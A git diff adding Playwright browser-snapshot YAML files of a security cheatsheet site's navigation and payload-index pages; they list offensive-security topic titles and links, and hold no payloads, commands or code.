+          - paragraph [ref=f11e331]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f11e332]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f11e335] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f11e336]:
+            - generic [ref=f11e337]: PRIV
+            - generic [ref=f11e338]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f11e339]
+          - paragraph [ref=f11e340]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f11e341]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f11e344] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f11e345]:
+            - generic [ref=f11e346]: CRED
+            - generic [ref=f11e347]: "05"
+          - heading "Password Attacks" [level=3] [ref=f11e348]
+          - paragraph [ref=f11e349]: Cracking, spraying, and credential recovery.
+          - generic [ref=f11e350]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f11e353] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f11e354]:
+            - generic [ref=f11e355]: WEB
+            - generic [ref=f11e356]: "06"
+          - heading "Web" [level=3] [ref=f11e357]
+          - paragraph [ref=f11e358]: XSS, injection, and web application testing.
+          - generic [ref=f11e359]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f11e362] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f11e363]:
+            - generic [ref=f11e364]: PIVOT
+            - generic [ref=f11e365]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f11e366]
+          - paragraph [ref=f11e367]: Moving through segmented networks and double pivots.
+          - generic [ref=f11e368]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f11e371] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f11e372]:
+            - generic [ref=f11e373]: CRYPTO
+            - generic [ref=f11e374]: "08"
+          - heading "Cryptography" [level=3] [ref=f11e375]
+          - paragraph [ref=f11e376]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f11e377]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f11e380] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f11e381]:
+            - generic [ref=f11e382]: DFIR
+            - generic [ref=f11e383]: "09"
+          - heading "DFIR" [level=3] [ref=f11e384]
+          - paragraph [ref=f11e385]: Forensics, memory, and registry analysis.
+          - generic [ref=f11e386]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f11e389] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f11e390]:
+            - generic [ref=f11e391]: TOOL
+            - generic [ref=f11e392]: "10"
+          - heading "Tools" [level=3] [ref=f11e393]
+          - paragraph [ref=f11e394]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f11e395]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f11e398] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f11e399]:
+            - generic [ref=f11e400]: NIX
+            - generic [ref=f11e401]: "11"
+          - heading "Linux & IT" [level=3] [ref=f11e402]
+          - paragraph [ref=f11e403]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f11e404]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f11e407] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f11e408]:
+            - generic [ref=f11e409]: GIT
+            - generic [ref=f11e410]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f11e411]
+          - paragraph [ref=f11e412]: Version control and operator workflow.
+          - generic [ref=f11e413]: 5 sheets
+    - link [ref=f11e416] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f11e417]:
+        - generic [ref=f11e418]:
+          - paragraph [ref=f11e419]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f11e420]
+          - paragraph [ref=f11e421]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f11e422]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f11e423]: Browse payloads
+    - generic [ref=f11e427]:
+      - generic [ref=f11e428]:
+        - generic [ref=f11e429]:
+          - paragraph [ref=f11e430]:
+            - generic [ref=f11e431]: "03"
+            - generic [ref=f11e432]: "^:"
+            - generic [ref=f11e433]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f11e434]
+        - link "All tags" [ref=f11e435] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f11e438]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f11e439] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f11e440]:
+            - generic [ref=f11e441]: "01"
+            - generic [ref=f11e442]: ENUM
+            - generic [ref=f11e446]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f11e447]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f11e451] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f11e452]:
+            - generic [ref=f11e453]: "02"
+            - generic [ref=f11e454]: ENUM
+            - generic [ref=f11e458]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f11e459]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f11e463] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f11e464]:
+            - generic [ref=f11e465]: "03"
+            - generic [ref=f11e466]: AD
+            - generic [ref=f11e470]: Active-Directory_cheat_sheet
+            - generic [ref=f11e471]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f11e475] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f11e476]:
+            - generic [ref=f11e477]: "04"
+            - generic [ref=f11e478]: ENUM
+            - generic [ref=f11e482]: Anonymous Null Testing
+            - generic [ref=f11e483]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f11e487] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f11e488]:
+            - generic [ref=f11e489]: "05"
+            - generic [ref=f11e490]: AD
+            - generic [ref=f11e494]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f11e495]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f11e499] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f11e500]:
+            - generic [ref=f11e501]: "06"
+            - generic [ref=f11e502]: AD
+            - generic [ref=f11e506]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f11e507]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f11e511] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f11e512]:
+            - generic [ref=f11e513]: "07"
+            - generic [ref=f11e514]: AD
+            - generic [ref=f11e518]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f11e519]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f11e523] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f11e524]:
+            - generic [ref=f11e525]: "08"
+            - generic [ref=f11e526]: AD
+            - generic [ref=f11e530]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f11e531]: 2026-08-10
+  - contentinfo [ref=f11e535]:
+    - generic [ref=f11e536]:
+      - generic [ref=f11e537]:
+        - link "DÆMON // SEC" [ref=f11e538] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f11e539]: //
+          - text: SEC
+        - paragraph [ref=f11e540]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f11e541]:
+        - link "daemon-404.github.io β†—" [ref=f11e542] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f11e543] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f11e544]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f11e545] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f11e546] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f11e547]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f11e548]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-24-49-770Z.yml b/.playwright-mcp/page-2026-08-10T08-24-49-770Z.yml
@@ -0,0 +1,546 @@
+- generic [active] [ref=f11e549]:
+  - banner [ref=f11e550]:
+    - generic [ref=f11e551]:
+      - link "DÆMON//SEC home" [ref=f11e552] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f11e553]: //
+        - text: SEC
+        - generic [ref=f11e554]: _
+      - navigation "Primary" [ref=f11e555]:
+        - link "01 Vault" [ref=f11e556] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f11e557]: "01"
+          - generic [ref=f11e558]: Vault
+        - link "02 Payloads" [ref=f11e559] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f11e560]: "02"
+          - generic [ref=f11e561]: Payloads
+        - link "03 Tags" [ref=f11e562] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f11e563]: "03"
+          - generic [ref=f11e564]: Tags
+        - link "04 Credits" [ref=f11e565] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f11e566]: "04"
+          - generic [ref=f11e567]: Credits
+      - generic [ref=f11e568]:
+        - button "Search cheatsheets" [ref=f11e569] [cursor=pointer]:
+          - generic [ref=f11e572]: Search
+          - generic [ref=f11e573]: /
+        - button "Toggle theme" [ref=f11e574] [cursor=pointer]
+        - link "DÆMON main site" [ref=f11e579] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f11e582] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f11e585]:
+    - generic [ref=f11e588]:
+      - generic [ref=f11e589]:
+        - paragraph [ref=f11e590]:
+          - generic [ref=f11e591]: "02"
+          - generic [ref=f11e592]: "^:"
+          - generic [ref=f11e593]: Full mirror Β· MIT
+        - heading "PayloadsAllTheThings" [level=1] [ref=f11e595]
+        - paragraph [ref=f11e596]: A complete on-site mirror of swisskyrepo's payload and bypass reference β€” searchable offline, every page linked back to source.
+      - generic [ref=f11e597]:
+        - generic [ref=f11e598]:
+          - term [ref=f11e599]: Topics
+          - definition [ref=f11e600]: "64"
+        - generic [ref=f11e601]:
+          - term [ref=f11e602]: Pages
+          - definition [ref=f11e603]: "135"
+        - generic [ref=f11e604]:
+          - term [ref=f11e605]: License
+          - definition [ref=f11e606]: MIT
+    - generic [ref=f11e607]:
+      - navigation [ref=f11e608]:
+        - link "~" [ref=f11e609] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+        - generic [ref=f11e610]: /
+        - generic [ref=f11e611]: payloads
+      - complementary [ref=f11e612]:
+        - generic [ref=f11e613]: mirror
+        - generic [ref=f11e614]:
+          - text: Mirrored verbatim from the upstream repo. Images and raw payload files load from GitHub; see each page's
+          - emphasis [ref=f11e615]: source
+          - text: link.
+          - generic [ref=f11e616]:
+            - text: MIT Β·
+            - link "full credits & license" [ref=f11e617] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/credits
+            - text: Β·
+            - code [ref=f11e618]: 3bff425
+        - link "upstream" [ref=f11e619] [cursor=pointer]:
+          - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+      - generic [ref=f11e621]:
+        - link "01 payload Account Takeover 2 pages" [ref=f11e622] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/account-takeover
+          - generic [ref=f11e623]:
+            - generic [ref=f11e624]: "01"
+            - generic [ref=f11e625]: payload
+            - generic [ref=f11e629]: Account Takeover
+            - generic [ref=f11e630]: 2 pages
+        - link "02 payload API Key Leaks 2 pages" [ref=f11e634] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/api-key-leaks
+          - generic [ref=f11e635]:
+            - generic [ref=f11e636]: "02"
+            - generic [ref=f11e637]: payload
+            - generic [ref=f11e641]: API Key Leaks
+            - generic [ref=f11e642]: 2 pages
+        - link "03 payload Brute Force Rate Limit 1 page" [ref=f11e646] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/brute-force-rate-limit
+          - generic [ref=f11e647]:
+            - generic [ref=f11e648]: "03"
+            - generic [ref=f11e649]: payload
+            - generic [ref=f11e653]: Brute Force Rate Limit
+            - generic [ref=f11e654]: 1 page
+        - link "04 payload Business Logic Errors 1 page" [ref=f11e658] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/business-logic-errors
+          - generic [ref=f11e659]:
+            - generic [ref=f11e660]: "04"
+            - generic [ref=f11e661]: payload
+            - generic [ref=f11e665]: Business Logic Errors
+            - generic [ref=f11e666]: 1 page
+        - link "05 payload Clickjacking 1 page" [ref=f11e670] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/clickjacking
+          - generic [ref=f11e671]:
+            - generic [ref=f11e672]: "05"
+            - generic [ref=f11e673]: payload
+            - generic [ref=f11e677]: Clickjacking
+            - generic [ref=f11e678]: 1 page
+        - link "06 payload Client Side Path Traversal 1 page" [ref=f11e682] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/client-side-path-traversal
+          - generic [ref=f11e683]:
+            - generic [ref=f11e684]: "06"
+            - generic [ref=f11e685]: payload
+            - generic [ref=f11e689]: Client Side Path Traversal
+            - generic [ref=f11e690]: 1 page
+        - link "07 payload Command Injection 1 page" [ref=f11e694] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/command-injection
+          - generic [ref=f11e695]:
+            - generic [ref=f11e696]: "07"
+            - generic [ref=f11e697]: payload
+            - generic [ref=f11e701]: Command Injection
+            - generic [ref=f11e702]: 1 page
+        - link "08 payload CORS Misconfiguration 1 page" [ref=f11e706] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cors-misconfiguration
+          - generic [ref=f11e707]:
+            - generic [ref=f11e708]: "08"
+            - generic [ref=f11e709]: payload
+            - generic [ref=f11e713]: CORS Misconfiguration
+            - generic [ref=f11e714]: 1 page
+        - link "09 payload CRLF Injection 1 page" [ref=f11e718] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/crlf-injection
+          - generic [ref=f11e719]:
+            - generic [ref=f11e720]: "09"
+            - generic [ref=f11e721]: payload
+            - generic [ref=f11e725]: CRLF Injection
+            - generic [ref=f11e726]: 1 page
+        - link "10 payload Cross-Site Request Forgery 1 page" [ref=f11e730] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cross-site-request-forgery
+          - generic [ref=f11e731]:
+            - generic [ref=f11e732]: "10"
+            - generic [ref=f11e733]: payload
+            - generic [ref=f11e737]: Cross-Site Request Forgery
+            - generic [ref=f11e738]: 1 page
+        - link "11 payload CSS Injection 1 page" [ref=f11e742] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/css-injection
+          - generic [ref=f11e743]:
+            - generic [ref=f11e744]: "11"
+            - generic [ref=f11e745]: payload
+            - generic [ref=f11e749]: CSS Injection
+            - generic [ref=f11e750]: 1 page
+        - link "12 payload CSV Injection 1 page" [ref=f11e754] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/csv-injection
+          - generic [ref=f11e755]:
+            - generic [ref=f11e756]: "12"
+            - generic [ref=f11e757]: payload
+            - generic [ref=f11e761]: CSV Injection
+            - generic [ref=f11e762]: 1 page
+        - link "13 payload CVE Exploits 2 pages" [ref=f11e766] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cve-exploits
+          - generic [ref=f11e767]:
+            - generic [ref=f11e768]: "13"
+            - generic [ref=f11e769]: payload
+            - generic [ref=f11e773]: CVE Exploits
+            - generic [ref=f11e774]: 2 pages
+        - link "14 payload Denial of Service 1 page" [ref=f11e778] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/denial-of-service
+          - generic [ref=f11e779]:
+            - generic [ref=f11e780]: "14"
+            - generic [ref=f11e781]: payload
+            - generic [ref=f11e785]: Denial of Service
+            - generic [ref=f11e786]: 1 page
+        - link "15 payload Dependency Confusion 1 page" [ref=f11e790] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dependency-confusion
+          - generic [ref=f11e791]:
+            - generic [ref=f11e792]: "15"
+            - generic [ref=f11e793]: payload
+            - generic [ref=f11e797]: Dependency Confusion
+            - generic [ref=f11e798]: 1 page
+        - link "16 payload Directory Traversal 1 page" [ref=f11e802] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/directory-traversal
+          - generic [ref=f11e803]:
+            - generic [ref=f11e804]: "16"
+            - generic [ref=f11e805]: payload
+            - generic [ref=f11e809]: Directory Traversal
+            - generic [ref=f11e810]: 1 page
+        - link "17 payload DNS Rebinding 1 page" [ref=f11e814] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dns-rebinding
+          - generic [ref=f11e815]:
+            - generic [ref=f11e816]: "17"
+            - generic [ref=f11e817]: payload
+            - generic [ref=f11e821]: DNS Rebinding
+            - generic [ref=f11e822]: 1 page
+        - link "18 payload DOM Clobbering 1 page" [ref=f11e826] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dom-clobbering
+          - generic [ref=f11e827]:
+            - generic [ref=f11e828]: "18"
+            - generic [ref=f11e829]: payload
+            - generic [ref=f11e833]: DOM Clobbering
+            - generic [ref=f11e834]: 1 page
+        - link "19 payload Encoding Transformations 1 page" [ref=f11e838] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/encoding-transformations
+          - generic [ref=f11e839]:
+            - generic [ref=f11e840]: "19"
+            - generic [ref=f11e841]: payload
+            - generic [ref=f11e845]: Encoding Transformations
+            - generic [ref=f11e846]: 1 page
+        - link "20 payload External Variable Modification 1 page" [ref=f11e850] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/external-variable-modification
+          - generic [ref=f11e851]:
+            - generic [ref=f11e852]: "20"
+            - generic [ref=f11e853]: payload
+            - generic [ref=f11e857]: External Variable Modification
+            - generic [ref=f11e858]: 1 page
+        - link "21 payload File Inclusion 3 pages" [ref=f11e862] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/file-inclusion
+          - generic [ref=f11e863]:
+            - generic [ref=f11e864]: "21"
+            - generic [ref=f11e865]: payload
+            - generic [ref=f11e869]: File Inclusion
+            - generic [ref=f11e870]: 3 pages
+        - link "22 payload Google Web Toolkit 1 page" [ref=f11e874] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/google-web-toolkit
+          - generic [ref=f11e875]:
+            - generic [ref=f11e876]: "22"
+            - generic [ref=f11e877]: payload
+            - generic [ref=f11e881]: Google Web Toolkit
+            - generic [ref=f11e882]: 1 page
+        - link "23 payload GraphQL Injection 1 page" [ref=f11e886] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/graphql-injection
+          - generic [ref=f11e887]:
+            - generic [ref=f11e888]: "23"
+            - generic [ref=f11e889]: payload
+            - generic [ref=f11e893]: GraphQL Injection
+            - generic [ref=f11e894]: 1 page
+        - link "24 payload Headless Browser 1 page" [ref=f11e898] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/headless-browser
+          - generic [ref=f11e899]:
+            - generic [ref=f11e900]: "24"
+            - generic [ref=f11e901]: payload
+            - generic [ref=f11e905]: Headless Browser
+            - generic [ref=f11e906]: 1 page
+        - link "25 payload Hidden Parameters 1 page" [ref=f11e910] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/hidden-parameters
+          - generic [ref=f11e911]:
+            - generic [ref=f11e912]: "25"
+            - generic [ref=f11e913]: payload
+            - generic [ref=f11e917]: Hidden Parameters
+            - generic [ref=f11e918]: 1 page
+        - link "26 payload HTTP Parameter Pollution 1 page" [ref=f11e922] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/http-parameter-pollution
+          - generic [ref=f11e923]:
+            - generic [ref=f11e924]: "26"
+            - generic [ref=f11e925]: payload
+            - generic [ref=f11e929]: HTTP Parameter Pollution
+            - generic [ref=f11e930]: 1 page
+        - link "27 payload Insecure Deserialization 7 pages" [ref=f11e934] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-deserialization
+          - generic [ref=f11e935]:
+            - generic [ref=f11e936]: "27"
+            - generic [ref=f11e937]: payload
+            - generic [ref=f11e941]: Insecure Deserialization
+            - generic [ref=f11e942]: 7 pages
+        - link "28 payload Insecure Direct Object References 1 page" [ref=f11e946] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-direct-object-references
+          - generic [ref=f11e947]:
+            - generic [ref=f11e948]: "28"
+            - generic [ref=f11e949]: payload
+            - generic [ref=f11e953]: Insecure Direct Object References
+            - generic [ref=f11e954]: 1 page
+        - link "29 payload Insecure Management Interface 1 page" [ref=f11e958] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-management-interface
+          - generic [ref=f11e959]:
+            - generic [ref=f11e960]: "29"
+            - generic [ref=f11e961]: payload
+            - generic [ref=f11e965]: Insecure Management Interface
+            - generic [ref=f11e966]: 1 page
+        - link "30 payload Insecure Randomness 1 page" [ref=f11e970] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-randomness
+          - generic [ref=f11e971]:
+            - generic [ref=f11e972]: "30"
+            - generic [ref=f11e973]: payload
+            - generic [ref=f11e977]: Insecure Randomness
+            - generic [ref=f11e978]: 1 page
+        - link "31 payload Insecure Source Code Management 5 pages" [ref=f11e982] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-source-code-management
+          - generic [ref=f11e983]:
+            - generic [ref=f11e984]: "31"
+            - generic [ref=f11e985]: payload
+            - generic [ref=f11e989]: Insecure Source Code Management
+            - generic [ref=f11e990]: 5 pages
+        - link "32 payload Java RMI 1 page" [ref=f11e994] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/java-rmi
+          - generic [ref=f11e995]:
+            - generic [ref=f11e996]: "32"
+            - generic [ref=f11e997]: payload
+            - generic [ref=f11e1001]: Java RMI
+            - generic [ref=f11e1002]: 1 page
+        - link "33 payload JSON Web Token 1 page" [ref=f11e1006] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/json-web-token
+          - generic [ref=f11e1007]:
+            - generic [ref=f11e1008]: "33"
+            - generic [ref=f11e1009]: payload
+            - generic [ref=f11e1013]: JSON Web Token
+            - generic [ref=f11e1014]: 1 page
+        - link "34 payload LaTeX Injection 1 page" [ref=f11e1018] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/latex-injection
+          - generic [ref=f11e1019]:
+            - generic [ref=f11e1020]: "34"
+            - generic [ref=f11e1021]: payload
+            - generic [ref=f11e1025]: LaTeX Injection
+            - generic [ref=f11e1026]: 1 page
+        - link "35 payload LDAP Injection 1 page" [ref=f11e1030] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/ldap-injection
+          - generic [ref=f11e1031]:
+            - generic [ref=f11e1032]: "35"
+            - generic [ref=f11e1033]: payload
+            - generic [ref=f11e1037]: LDAP Injection
+            - generic [ref=f11e1038]: 1 page
+        - link "36 payload Mass Assignment 1 page" [ref=f11e1042] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/mass-assignment
+          - generic [ref=f11e1043]:
+            - generic [ref=f11e1044]: "36"
+            - generic [ref=f11e1045]: payload
+            - generic [ref=f11e1049]: Mass Assignment
+            - generic [ref=f11e1050]: 1 page
+        - link "37 payload Methodology and Resources 33 pages" [ref=f11e1054] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/methodology-and-resources
+          - generic [ref=f11e1055]:
+            - generic [ref=f11e1056]: "37"
+            - generic [ref=f11e1057]: payload
+            - generic [ref=f11e1061]: Methodology and Resources
+            - generic [ref=f11e1062]: 33 pages
+        - link "38 payload NoSQL Injection 1 page" [ref=f11e1066] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/nosql-injection
+          - generic [ref=f11e1067]:
+            - generic [ref=f11e1068]: "38"
+            - generic [ref=f11e1069]: payload
+            - generic [ref=f11e1073]: NoSQL Injection
+            - generic [ref=f11e1074]: 1 page
+        - link "39 payload OAuth Misconfiguration 1 page" [ref=f11e1078] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/oauth-misconfiguration
+          - generic [ref=f11e1079]:
+            - generic [ref=f11e1080]: "39"
+            - generic [ref=f11e1081]: payload
+            - generic [ref=f11e1085]: OAuth Misconfiguration
+            - generic [ref=f11e1086]: 1 page
+        - link "40 payload Open Redirect 1 page" [ref=f11e1090] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/open-redirect
+          - generic [ref=f11e1091]:
+            - generic [ref=f11e1092]: "40"
+            - generic [ref=f11e1093]: payload
+            - generic [ref=f11e1097]: Open Redirect
+            - generic [ref=f11e1098]: 1 page
+        - link "41 payload ORM Leak 1 page" [ref=f11e1102] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/orm-leak
+          - generic [ref=f11e1103]:
+            - generic [ref=f11e1104]: "41"
+            - generic [ref=f11e1105]: payload
+            - generic [ref=f11e1109]: ORM Leak
+            - generic [ref=f11e1110]: 1 page
+        - link "42 payload Prompt Injection 1 page" [ref=f11e1114] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/prompt-injection
+          - generic [ref=f11e1115]:
+            - generic [ref=f11e1116]: "42"
+            - generic [ref=f11e1117]: payload
+            - generic [ref=f11e1121]: Prompt Injection
+            - generic [ref=f11e1122]: 1 page
+        - link "43 payload Prototype Pollution 1 page" [ref=f11e1126] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/prototype-pollution
+          - generic [ref=f11e1127]:
+            - generic [ref=f11e1128]: "43"
+            - generic [ref=f11e1129]: payload
+            - generic [ref=f11e1133]: Prototype Pollution
+            - generic [ref=f11e1134]: 1 page
+        - link "44 payload Race Condition 1 page" [ref=f11e1138] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/race-condition
+          - generic [ref=f11e1139]:
+            - generic [ref=f11e1140]: "44"
+            - generic [ref=f11e1141]: payload
+            - generic [ref=f11e1145]: Race Condition
+            - generic [ref=f11e1146]: 1 page
+        - link "45 payload Regular Expression 1 page" [ref=f11e1150] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/regular-expression
+          - generic [ref=f11e1151]:
+            - generic [ref=f11e1152]: "45"
+            - generic [ref=f11e1153]: payload
+            - generic [ref=f11e1157]: Regular Expression
+            - generic [ref=f11e1158]: 1 page
+        - link "46 payload Request Smuggling 1 page" [ref=f11e1162] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/request-smuggling
+          - generic [ref=f11e1163]:
+            - generic [ref=f11e1164]: "46"
+            - generic [ref=f11e1165]: payload
+            - generic [ref=f11e1169]: Request Smuggling
+            - generic [ref=f11e1170]: 1 page
+        - link "47 payload Reverse Proxy Misconfigurations 1 page" [ref=f11e1174] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/reverse-proxy-misconfigurations
+          - generic [ref=f11e1175]:
+            - generic [ref=f11e1176]: "47"
+            - generic [ref=f11e1177]: payload
+            - generic [ref=f11e1181]: Reverse Proxy Misconfigurations
+            - generic [ref=f11e1182]: 1 page
+        - link "48 payload SAML Injection 1 page" [ref=f11e1186] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/saml-injection
+          - generic [ref=f11e1187]:
+            - generic [ref=f11e1188]: "48"
+            - generic [ref=f11e1189]: payload
+            - generic [ref=f11e1193]: SAML Injection
+            - generic [ref=f11e1194]: 1 page
+        - link "49 payload Server Side Include Injection 1 page" [ref=f11e1198] [cursor=pointer]:
